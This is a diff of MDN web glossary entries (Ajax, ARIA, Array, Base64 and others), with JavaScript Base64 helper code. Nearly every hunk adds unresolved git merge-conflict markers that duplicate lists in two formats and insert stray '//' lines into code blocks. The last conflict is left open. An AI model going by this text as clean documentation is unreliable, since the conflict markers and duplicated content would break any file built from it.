 - [Accessibility resources at MDN](/en-US/docs/Web/Accessibility)
 - _Interwiki("wikipedia", "Web accessibility"_) on Wikipedia
 - [Learn accessibility on MDN](/en-US/docs/Learn/Accessibility)
@@ -177,6 +263,15 @@ While still in draft form within the Web Incubator Community Group, the **[Acces
 - [The ARIA documentation on MDN](/en-US/docs/Web/Accessibility/ARIA)
 - [The Web Accessibility Initiative homepage](https://www.w3.org/WAI/)
 - [The WAI-ARIA recommendation](https://www.w3.org/TR/wai-aria/)
+=======
+-   [Accessibility resources at MDN](/en-US/docs/Web/Accessibility)
+-   _Interwiki("wikipedia", "Web accessibility"_) on Wikipedia
+-   [Learn accessibility on MDN](/en-US/docs/Learn/Accessibility)
+-   [Web Accessibility In Mind](https://webaim.org/)
+-   [The ARIA documentation on MDN](/en-US/docs/Web/Accessibility/ARIA)
+-   [The Web Accessibility Initiative homepage](https://www.w3.org/WAI/)
+-   [The WAI-ARIA recommendation](https://www.w3.org/TR/wai-aria/)
+>>>>>>> master
 
 ---
 
@@ -190,17 +285,29 @@ As of 2021, Flash is no longer supported by Adobe or any major web browsers.
 
 #### See also
 
+<<<<<<< HEAD
 - [Adobe Flash end-of-life announcement](https://blog.adobe.com/en/publish/2017/07/25/adobe-flash-update#gs.g8mmgf)
 - [Saying goodbye to Flash in Chrome](https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/)
 - [Firefox Roadmap for Flash End-of-Life](https://blog.mozilla.org/futurereleases/2017/07/25/firefox-roadmap-flash-end-life/)
 - [Microsoft Windows Flash Player removal](https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/)
+=======
+-   [Adobe Flash end-of-life announcement](https://blog.adobe.com/en/publish/2017/07/25/adobe-flash-update#gs.g8mmgf)
+-   [Saying goodbye to Flash in Chrome](https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/)
+-   [Firefox Roadmap for Flash End-of-Life](https://blog.mozilla.org/futurereleases/2017/07/25/firefox-roadmap-flash-end-life/)
+-   [Microsoft Windows Flash Player removal](https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/)
+>>>>>>> master
 
 ---
 
 ## Term: Advance measure
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
+=======
+-   Accessibility
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -212,17 +319,29 @@ For a horizontal inline axis, this will be the width of the character.
 
 #### See also
 
+<<<<<<< HEAD
 - _cssxref("&lt;length&gt;"_)
+=======
+-   _cssxref("&lt;length&gt;"_)
+>>>>>>> master
 
 ---
 
 ## Term: Ajax
 
+<<<<<<< HEAD
 - AJAX
 - CodingScripting
 - Glossary
 - Infrastructure
 - l10n:priority
+=======
+-   AJAX
+-   CodingScripting
+-   Glossary
+-   Infrastructure
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -234,6 +353,7 @@ With interactive websites and modern web standards, Ajax is gradually being repl
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "AJAX"_) on Wikipedia
 - [Ajax](/en-US/docs/Web/Guide/AJAX)
 - [Ajax - Getting started](/en-US/docs/Web/Guide/AJAX/Getting_Started)
@@ -245,13 +365,31 @@ With interactive websites and modern web standards, Ajax is gradually being repl
 - _DOMxRef("Fetch API"_)
 - [Using Fetch API](/en-US/docs/Web/API/Fetch_API/Using_Fetch)
 - [Synchronous vs. Asynchronous Communications](https://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/)
+=======
+-   _interwiki("wikipedia", "AJAX"_) on Wikipedia
+-   [Ajax](/en-US/docs/Web/Guide/AJAX)
+-   [Ajax - Getting started](/en-US/docs/Web/Guide/AJAX/Getting_Started)
+-   [Glossary](/en-US/docs/Glossary):
+
+    -   _Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest"\_)
+
+-   _DOMxRef("XMLHttpRequest"_)
+-   _DOMxRef("Fetch API"_)
+-   [Using Fetch API](/en-US/docs/Web/API/Fetch_API/Using_Fetch)
+-   [Synchronous vs. Asynchronous Communications](https://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/)
+>>>>>>> master
 
 ---
 
 ## Term: Algorithm
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -261,8 +399,13 @@ In other words, an algorithm is a means of describing a way to solve a problem s
 
 For example:
 
+<<<<<<< HEAD
 - A cooking recipe is a simple algorithm for humans.
 - A sorting algorithm is often used in computer programming to explain a machine how to sort data.
+=======
+-   A cooking recipe is a simple algorithm for humans.
+-   A sorting algorithm is often used in computer programming to explain a machine how to sort data.
+>>>>>>> master
 
 Common algorithms are Pathfinding algorithms such as the Traveling Salesman Problem, Tree Traversal algorithms and so on.
 
@@ -270,18 +413,31 @@ There are also Machine Learning algorithms such as Linear Regression, Logistic R
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Algorithm", "Algorithm"_) on Wikipedia
 - [Explanations of sorting algorithms](https://www.toptal.com/developers/sorting-algorithms)
 - [Explanations of algorithmic complexity](https://bigocheatsheet.com/)
+=======
+-   _Interwiki("wikipedia", "Algorithm", "Algorithm"_) on Wikipedia
+-   [Explanations of sorting algorithms](https://www.toptal.com/developers/sorting-algorithms)
+-   [Explanations of algorithmic complexity](https://bigocheatsheet.com/)
+>>>>>>> master
 
 ---
 
 ## Term: Alignment container
 
+<<<<<<< HEAD
 - Alignment container
 - CSS
 - Glossary
 - alignment
+=======
+-   Alignment container
+-   CSS
+-   Glossary
+-   alignment
+>>>>>>> master
 
 ---
 
@@ -289,16 +445,27 @@ There are also Machine Learning algorithms such as Linear Regression, Logistic R
 
 #### See also
 
+<<<<<<< HEAD
 - [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+=======
+-   [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+>>>>>>> master
 
 ---
 
 ## Term: Alignment subject
 
+<<<<<<< HEAD
 - Alignment subject
 - CSS
 - Glossary
 - alignment
+=======
+-   Alignment subject
+-   CSS
+-   Glossary
+-   alignment
+>>>>>>> master
 
 ---
 
@@ -308,6 +475,7 @@ For _cssxref("justify-self"_) and _cssxref("align-self"_), the alignment subject
 
 For _cssxref("justify-content"_) and _cssxref("align-content"_), the writing mode of the box is also used. The definition of the alignment subject depends on the layout mode being used.
 
+<<<<<<< HEAD
 - Block containers (including table cells)
 - - : The entire content of the block as a single unit.
 - Multicol containers
@@ -321,11 +489,27 @@ For _cssxref("justify-content"_) and _cssxref("align-content"_), the writing mod
 #### See also
 
 - [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+=======
+-   Block containers (including table cells)
+-   -   : The entire content of the block as a single unit.
+-   Multicol containers
+    -   : The column boxes, with any spacing inserted between column boxes added to the relevant column gaps.
+-   Flex containers
+    -   : For _cssxref("justify-content"_), the flex items in each flex line.
+        For _cssxref("align-content"_), the flex lines. Note, this only has an effect on multi-line flex containers.
+-   Grid containers
+    -   : The grid tracks in the appropriate axis, with any spacing inserted between tracks added to the relevant gutters. Collapsed gutters are treated as a single opportunity for space insertion.
+
+#### See also
+
+-   [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+>>>>>>> master
 
 ---
 
 ## Term: Alpha (alpha channel)
 
+<<<<<<< HEAD
 - Alpha
 - Alpha Channel
 - Drawing
@@ -340,6 +524,22 @@ For _cssxref("justify-content"_) and _cssxref("align-content"_), the writing mod
 - channel
 - color
 - pixel
+=======
+-   Alpha
+-   Alpha Channel
+-   Drawing
+-   Glossary
+-   Graphics
+-   Translucency
+-   Translucent
+-   Transparency
+-   Transparent
+-   WebGL
+-   WebXR
+-   channel
+-   color
+-   pixel
+>>>>>>> master
 
 ---
 
@@ -353,9 +553,15 @@ As you can see, the color without an alpha channel completely blocks the backgro
 
 ## Term: API
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Infrastructure
+=======
+-   CodingScripting
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -365,6 +571,7 @@ In Web development, an API is generally a set of code features (e.g. _glossary("
 
 For example:
 
+<<<<<<< HEAD
 - The [getUserMedia](/en-US/docs/Web/API/MediaDevices/getUserMedia) API can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video.
 - The [Geolocation API](/en-US/docs/Web/API/Geolocation) can be used to retrieve location information from whatever service the user has available on their device (e.g. GPS), which can then be used in conjunction with the [Google Maps APIs](https://developers.google.com/maps/) to for example plot the user's location on a custom map and show them what tourist attractions are in their area.
 - The [Twitter APIs](https://dev.twitter.com/overview/api) can be used to retrieve data from a user's twitter accounts, for example, to display their latest tweets on a web page.
@@ -374,14 +581,31 @@ For example:
 
 - _Interwiki("wikipedia", "API", "API"_) on Wikipedia
 - [Web API reference](/en-US/docs/Web/API)
+=======
+-   The [getUserMedia](/en-US/docs/Web/API/MediaDevices/getUserMedia) API can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video.
+-   The [Geolocation API](/en-US/docs/Web/API/Geolocation) can be used to retrieve location information from whatever service the user has available on their device (e.g. GPS), which can then be used in conjunction with the [Google Maps APIs](https://developers.google.com/maps/) to for example plot the user's location on a custom map and show them what tourist attractions are in their area.
+-   The [Twitter APIs](https://dev.twitter.com/overview/api) can be used to retrieve data from a user's twitter accounts, for example, to display their latest tweets on a web page.
+-   The [Web Animations API](/en-US/docs/Web/API/Web_Animations_API) can be used to animate parts of a web page — for example, to make images move around or rotate.
+
+#### See also
+
+-   _Interwiki("wikipedia", "API", "API"_) on Wikipedia
+-   [Web API reference](/en-US/docs/Web/API)
+>>>>>>> master
 
 ---
 
 ## Term: Apple Safari
 
+<<<<<<< HEAD
 - Glossary
 - Navigation
 - WebMechanics
+=======
+-   Glossary
+-   Navigation
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -389,18 +613,31 @@ For example:
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Safari (web browser)", "Safari"_) on Wikipedia
 - [Safari on apple.com](https://www.apple.com/safari/)
 - [The WebKit project](https://webkit.org/)
 - [WebKit nightly build](https://nightly.webkit.org/)
 - [Reporting a bug for Safari](https://bugs.webkit.org/)
+=======
+-   _Interwiki("wikipedia", "Safari (web browser)", "Safari"_) on Wikipedia
+-   [Safari on apple.com](https://www.apple.com/safari/)
+-   [The WebKit project](https://webkit.org/)
+-   [WebKit nightly build](https://nightly.webkit.org/)
+-   [Reporting a bug for Safari](https://bugs.webkit.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Application Context
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -414,9 +651,15 @@ Please note that the start URL is not necessarily the value of the start_url mem
 
 ## Term: Argument
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -424,15 +667,25 @@ Please note that the start URL is not necessarily the value of the start_url mem
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Parameter_(computer*programming)", "Difference between Parameter and Argument"*) on Wikipedia
 - The _jsxref("Functions/arguments","arguments"_) object in _glossary("JavaScript"_)
+=======
+-   _Interwiki("wikipedia", "Parameter_(computer*programming)", "Difference between Parameter and Argument"*) on Wikipedia
+-   The _jsxref("Functions/arguments","arguments"_) object in _glossary("JavaScript"_)
+>>>>>>> master
 
 ---
 
 ## Term: ARIA
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
+=======
+-   Accessibility
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -442,14 +695,23 @@ For example, you could add the attribute `role="alert"` to a _HTMLElement("p"_)
 
 #### See also
 
+<<<<<<< HEAD
 - [ARIA](/en-US/docs/Web/Accessibility/ARIA)
+=======
+-   [ARIA](/en-US/docs/Web/Accessibility/ARIA)
+>>>>>>> master
 
 ---
 
 ## Term: ARPA
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -457,15 +719,25 @@ For example, you could add the attribute `role="alert"` to a _HTMLElement("p"_)
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.iana.org/domains/arpa)
 - _Interwiki("wikipedia", ".arpa"_) on Wikipedia
+=======
+-   [Official website](https://www.iana.org/domains/arpa)
+-   _Interwiki("wikipedia", ".arpa"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: ARPANET
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -473,17 +745,29 @@ For example, you could add the attribute `role="alert"` to a _HTMLElement("p"_)
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "ARPANET"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "ARPANET"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Array
 
+<<<<<<< HEAD
 - Array
 - CodingScripting
 - Glossary
 - JavaScript
 - programming
+=======
+-   Array
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   programming
+>>>>>>> master
 
 ---
 
@@ -494,6 +778,10 @@ Each item in an array has a number attached to it, called a numeric index, that
 What an array in JavaScript looks like:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let myArray = [1, 2, 3, 4];
 let catNamesArray = ['Jacqueline', 'Sophia', 'Autumn'];
 //Arrays in JavaScript can hold different types of data, as shown above.
@@ -501,15 +789,25 @@ let catNamesArray = ['Jacqueline', 'Sophia', 'Autumn'];
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Array data structure", "Array"_) on Wikipedia
 - JavaScript _jsxref("Array"_) on MDN
+=======
+-   _Interwiki("wikipedia", "Array data structure", "Array"_) on Wikipedia
+-   JavaScript _jsxref("Array"_) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: ASCII
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -523,42 +821,73 @@ _Interwiki("wikipedia", "ASCII"_) on Wikipedia
 
 ## Term: Asynchronous
 
+<<<<<<< HEAD
 - Glossary
 - Web
 - WebMechanics
 - asynchronous
+=======
+-   Glossary
+-   Web
+-   WebMechanics
+-   asynchronous
+>>>>>>> master
 
 ---
 
 > The term **asynchronous** refers to two or more objects or events **not** existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete). In computing, the word "asynchronous" is used in two major contexts.
 
+<<<<<<< HEAD
 - Networking and communications
 
     - : Asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt. Additionally, messages may be sent without waiting for acknowledgement, with the understanding that if a problem occurs, the recipient will request corrections or otherwise handle the situation.
+=======
+-   Networking and communications
+
+    -   : Asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt. Additionally, messages may be sent without waiting for acknowledgement, with the understanding that if a problem occurs, the recipient will request corrections or otherwise handle the situation.
+>>>>>>> master
 
         For humans, e-mail is an asynchronous communication method; the sender sends an email and the recipient will read and reply to the message when it's convenient to do so, rather than doing so at once. And both sides can continue to send and receive messages whenever they wish, instead of having to schedule them around each other.
 
         When software communicates asynchronously, a program may make a request for information from another piece of software (such as a server), and continue to do other things while waiting for a reply. For example, the [AJAX](/en-US/docs/Web/Guide/AJAX) (Asynchronous JavaScript and _Glossary("XML"_)) programming technique—now usually "Ajax", even though _Glossary("JSON"_) is usually used rather than XML in modern applications—is a mechanism that requests relatively small amounts of data from the server using _Glossary("HTTP"_), with the result being returned when available rather than immediately.
 
+<<<<<<< HEAD
 - Software design
 
     - : Asynchronous software design expands upon the concept by building code that allows a program to ask that a task be performed alongside the original task (or tasks), without stopping to wait for the task to complete. When the secondary task is completed, the original task is notified using an agreed-upon mechanism so that it knows the work is done, and that the result, if any, is available.
+=======
+-   Software design
+
+    -   : Asynchronous software design expands upon the concept by building code that allows a program to ask that a task be performed alongside the original task (or tasks), without stopping to wait for the task to complete. When the secondary task is completed, the original task is notified using an agreed-upon mechanism so that it knows the work is done, and that the result, if any, is available.
+>>>>>>> master
 
         There are a number of programming techniques for implementing asynchronous software. See the article [Asynchronous JavaScript](/en-US/docs/Learn/JavaScript/Asynchronous) for an introduction to them.
 
 #### See also
 
+<<<<<<< HEAD
 - [Fetching data from the server](/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) (Learning Area)
 - _glossary("Synchronous"_)
+=======
+-   [Fetching data from the server](/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) (Learning Area)
+-   _glossary("Synchronous"_)
+>>>>>>> master
 
 ---
 
 ## Term: ATAG
 
+<<<<<<< HEAD
 - ATAG
 - Accessibility
 - Authoring Tool Accessibility Guidelines
 - Glossary
+=======
+-   ATAG
+-   Accessibility
+-   Authoring Tool Accessibility Guidelines
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -566,17 +895,29 @@ _Interwiki("wikipedia", "ASCII"_) on Wikipedia
 
 #### See also
 
+<<<<<<< HEAD
 - [ATAG as part of the Web Accessibility Initiative](https://en.wikipedia.org/wiki/Web_Accessibility_Initiative#Authoring_Tools_Accessibility_Guidelines_.28ATAG.29) on WikiPedia
 - [Authoring Tool Accessibility Guidelines (ATAG) Overview](https://www.w3.org/WAI/intro/atag.php)
 - [The ATAG 2.0 recommendation](https://www.w3.org/TR/ATAG20/)
+=======
+-   [ATAG as part of the Web Accessibility Initiative](https://en.wikipedia.org/wiki/Web_Accessibility_Initiative#Authoring_Tools_Accessibility_Guidelines_.28ATAG.29) on WikiPedia
+-   [Authoring Tool Accessibility Guidelines (ATAG) Overview](https://www.w3.org/WAI/intro/atag.php)
+-   [The ATAG 2.0 recommendation](https://www.w3.org/TR/ATAG20/)
+>>>>>>> master
 
 ---
 
 ## Term: Attribute
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+>>>>>>> master
 
 ---
 
@@ -611,6 +952,10 @@ Considering the following HTML:
 We can check the reflection between _domxref("HTMLInputElement.placeholder"_) and the attribute using:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let input = document.getElementsByTagName('input')[0];
 let attr = input.getAttributeNode('placeholder');
 console.log(attr.value);
@@ -620,6 +965,10 @@ console.log(input.placeholder); //Returns the same value as `attr.value`
 and
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let input2 = document.getElementsByTagName('input')[0];
 let attr2 = input.getAttributeNode('placeholder');
 console.log(attr2.value); // Returns `Original placeholder`
@@ -629,18 +978,31 @@ console.log(attr2.value); // Returns `Modified placeholder`
 
 #### See also
 
+<<<<<<< HEAD
 - [HTML attribute reference](/en-US/docs/Web/HTML/Attributes)
 - Information about HTML's [global attributes](/en-US/docs/Web/HTML/Global_attributes)
+=======
+-   [HTML attribute reference](/en-US/docs/Web/HTML/Attributes)
+-   Information about HTML's [global attributes](/en-US/docs/Web/HTML/Global_attributes)
+>>>>>>> master
 
 ---
 
 ## Term: Media (Audio-visual presentation)
 
+<<<<<<< HEAD
 - Audio
 - Glossary
 - Media
 - Multimedia
 - Video
+=======
+-   Audio
+-   Glossary
+-   Media
+-   Multimedia
+-   Video
+>>>>>>> master
 
 ---
 
@@ -652,17 +1014,29 @@ Media content can be recorded, played back, presented, and at times interacted w
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Multimedia"_) on Wikipedia
 - [Web media technologies](/en-US/docs/Web/Media): a guide to all the ways media can be used in web content
 - [Multimedia and Embedding](/en-US/docs/Learn/HTML/Multimedia_and_embedding) in the MDN learning area
 - _HTMLElement("audio"_) and _HTMLElement("video"_) elements, used to present media in _Glossary("HTML"_) documents
+=======
+-   _interwiki("wikipedia", "Multimedia"_) on Wikipedia
+-   [Web media technologies](/en-US/docs/Web/Media): a guide to all the ways media can be used in web content
+-   [Multimedia and Embedding](/en-US/docs/Learn/HTML/Multimedia_and_embedding) in the MDN learning area
+-   _HTMLElement("audio"_) and _HTMLElement("video"_) elements, used to present media in _Glossary("HTML"_) documents
+>>>>>>> master
 
 ---
 
 ## Term: Bandwidth
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -670,12 +1044,17 @@ Media content can be recorded, played back, presented, and at times interacted w
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Bandwidth"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Bandwidth"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Base64
 
+<<<<<<< HEAD
 - Advanced
 - Base64
 - JavaScript
@@ -685,6 +1064,17 @@ Media content can be recorded, played back, presented, and at times interacted w
 - Unicode Problem
 - atob()
 - btoa()
+=======
+-   Advanced
+-   Base64
+-   JavaScript
+-   Typed Arrays
+-   URI
+-   URL
+-   Unicode Problem
+-   atob()
+-   btoa()
+>>>>>>> master
 
 ---
 
@@ -696,8 +1086,13 @@ One common application of Base64 encoding on the web is to encode binary data so
 
 In JavaScript there are two functions respectively for decoding and encoding Base64 strings:
 
+<<<<<<< HEAD
 - [`btoa()`](/en-US/docs/Web/API/btoa): creates a Base64-encoded ASCII string from a "string" of binary data ("btoa" should be read as "binary to ASCII").
 - [`atob()`](/en-US/docs/Web/API/atob): decodes a Base64-encoded string("atob" should be read as "ASCII to binary").
+=======
+-   [`btoa()`](/en-US/docs/Web/API/btoa): creates a Base64-encoded ASCII string from a "string" of binary data ("btoa" should be read as "binary to ASCII").
+-   [`atob()`](/en-US/docs/Web/API/atob): decodes a Base64-encoded string("atob" should be read as "ASCII to binary").
+>>>>>>> master
 
 The algorithm used by `atob()` and `btoa()` is specified in [RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648), section 4.
 
@@ -713,8 +1108,13 @@ This means that the Base64 version of a string or file will be at least 133% the
 
 Since [`DOMString`](/en-US/docs/Web/API/DOMString '/en-US/docs/Web/API/DOMString')s are 16-bit-encoded strings, in most browsers calling `window.btoa` on a Unicode string will cause a `Character Out Of Range` exception if a character exceeds the range of a 8-bit ASCII-encoded character. There are two possible methods to solve this problem:
 
+<<<<<<< HEAD
 - the first one is to escape the whole string and then encode it;
 - the second one is to convert the UTF-16 [`DOMString`](/en-US/docs/Web/API/DOMString '/en-US/docs/Web/API/DOMString') to an UTF-8 array of characters and then encode it.
+=======
+-   the first one is to escape the whole string and then encode it;
+-   the second one is to convert the UTF-16 [`DOMString`](/en-US/docs/Web/API/DOMString '/en-US/docs/Web/API/DOMString') to an UTF-8 array of characters and then encode it.
+>>>>>>> master
 
 Here are the two possible methods.
 
@@ -722,9 +1122,14 @@ Here are the two possible methods.
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function utf8_to_b64(str) {
     return window.btoa(unescape(encodeURIComponent(str)));
@@ -745,9 +1150,14 @@ Another possible solution without utilizing the now deprecated 'unescape' and 'e
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function b64EncodeUnicode(str) {
     return btoa(
@@ -764,6 +1174,10 @@ b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
 > **Note:** The following code is also useful to get an [ArrayBuffer](/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) from a Base64 string and/or viceversa ([see below](#appendix_decode_a_base64_string_to_uint8array_or_arraybuffer)).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 'use strict';
 
 /*\
@@ -943,6 +1357,10 @@ function strToUTF8Arr(sDOMStr) {
 ### Tests
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 /* Tests */
 
 var sMyInput = 'Base 64 \u2014 Mozilla Developer Network';
@@ -965,6 +1383,10 @@ alert(sMyOutput);
 These function let us to create also [uint8Arrays](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) or [arrayBuffers](/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) from Base64-encoded strings:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // "Base 64 \u2014 Mozilla Developer Network"
 var myArray = base64DecToArr('QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==');
 
@@ -980,11 +1402,19 @@ alert(myBuffer.byteLength);
 
 ## Term: Baseline
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - SVG
 - alignment
 - typography
+=======
+-   CSS
+-   Glossary
+-   SVG
+-   alignment
+-   typography
+>>>>>>> master
 
 ---
 
@@ -996,17 +1426,29 @@ East Asian scripts have no baseline. Their glyphs are placed in a square box wit
 
 #### See also
 
+<<<<<<< HEAD
 - [Baseline](<https://en.wikipedia.org/wiki/Baseline_(typography)>) on Wikipedia
 - [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment#types_of_alignment) on MDN
+=======
+-   [Baseline](<https://en.wikipedia.org/wiki/Baseline_(typography)>) on Wikipedia
+-   [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment#types_of_alignment) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: beacon
 
+<<<<<<< HEAD
 - Beacon
 - Glossary
 - Reference
 - Web Performance
+=======
+-   Beacon
+-   Glossary
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -1016,14 +1458,23 @@ There is a [W3C Draft Beacon Specification](https://w3c.github.io/beacon/) to st
 
 #### See also
 
+<<<<<<< HEAD
 - [Real User Monitoring (RUM)](/en-US/docs/Glossary/Real_User_Monitoring)
+=======
+-   [Real User Monitoring (RUM)](/en-US/docs/Glossary/Real_User_Monitoring)
+>>>>>>> master
 
 ---
 
 ## Term: BiDi
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
+=======
+-   Accessibility
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1031,17 +1482,29 @@ There is a [W3C Draft Beacon Specification](https://w3c.github.io/beacon/) to st
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Bi-directional text"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Bi-directional text"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: BigInt
 
+<<<<<<< HEAD
 - BigInt
 - Glossary
 - JavaScript
 - Reference
 - arbitrary precision format
+=======
+-   BigInt
+-   Glossary
+-   JavaScript
+-   Reference
+-   arbitrary precision format
+>>>>>>> master
 
 ---
 
@@ -1049,18 +1512,31 @@ There is a [W3C Draft Beacon Specification](https://w3c.github.io/beacon/) to st
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types"_) on Wikipedia
 - The JavaScript type: [`BigInt`](/en-US/docs/Web/JavaScript/Data_structures#bigint_type)
 - The JavaScript global object _jsxref("BigInt"_)
+=======
+-   _Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types"_) on Wikipedia
+-   The JavaScript type: [`BigInt`](/en-US/docs/Web/JavaScript/Data_structures#bigint_type)
+-   The JavaScript global object _jsxref("BigInt"_)
+>>>>>>> master
 
 ---
 
 ## Term: Blink
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Layout
 - Rendering engine
+=======
+-   Glossary
+-   Infrastructure
+-   Layout
+-   Rendering engine
+>>>>>>> master
 
 ---
 
@@ -1068,6 +1544,7 @@ There is a [W3C Draft Beacon Specification](https://w3c.github.io/beacon/) to st
 
 #### See also
 
+<<<<<<< HEAD
 - Blink project [home page](https://www.chromium.org/blink)
 - [Blink](<https://en.wikipedia.org/wiki/Blink_(browser_engine)>) on Wikipedia
 - [FAQ](https://www.chromium.org/blink/developer-faq) on Blink
@@ -1078,15 +1555,34 @@ There is a [W3C Draft Beacon Specification](https://w3c.github.io/beacon/) to st
     - _glossary("Trident"_)
     - _glossary("WebKit"_)
     - _glossary("Rendering engine"_)
+=======
+-   Blink project [home page](https://www.chromium.org/blink)
+-   [Blink](<https://en.wikipedia.org/wiki/Blink_(browser_engine)>) on Wikipedia
+-   [FAQ](https://www.chromium.org/blink/developer-faq) on Blink
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("Google Chrome"_)
+    -   _glossary("Gecko"_)
+    -   _glossary("Trident"_)
+    -   _glossary("WebKit"_)
+    -   _glossary("Rendering engine"_)
+>>>>>>> master
 
 ---
 
 ## Term: Block cipher mode of operation
 
+<<<<<<< HEAD
 - Block cipher mode of operation
 - Cryptography
 - Glossary
 - Security
+=======
+-   Block cipher mode of operation
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1098,8 +1594,13 @@ Most symmetric-key algorithms currently in use are block ciphers: this means tha
 
 ## Term: Block
 
+<<<<<<< HEAD
 - Disambiguation
 - Glossary
+=======
+-   Disambiguation
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1111,12 +1612,21 @@ Most symmetric-key algorithms currently in use are block ciphers: this means tha
 
 ## Term: Boolean
 
+<<<<<<< HEAD
 - Boolean
 - CodingScripting
 - Glossary
 - JavaScript
 - Programming Languages
 - data types
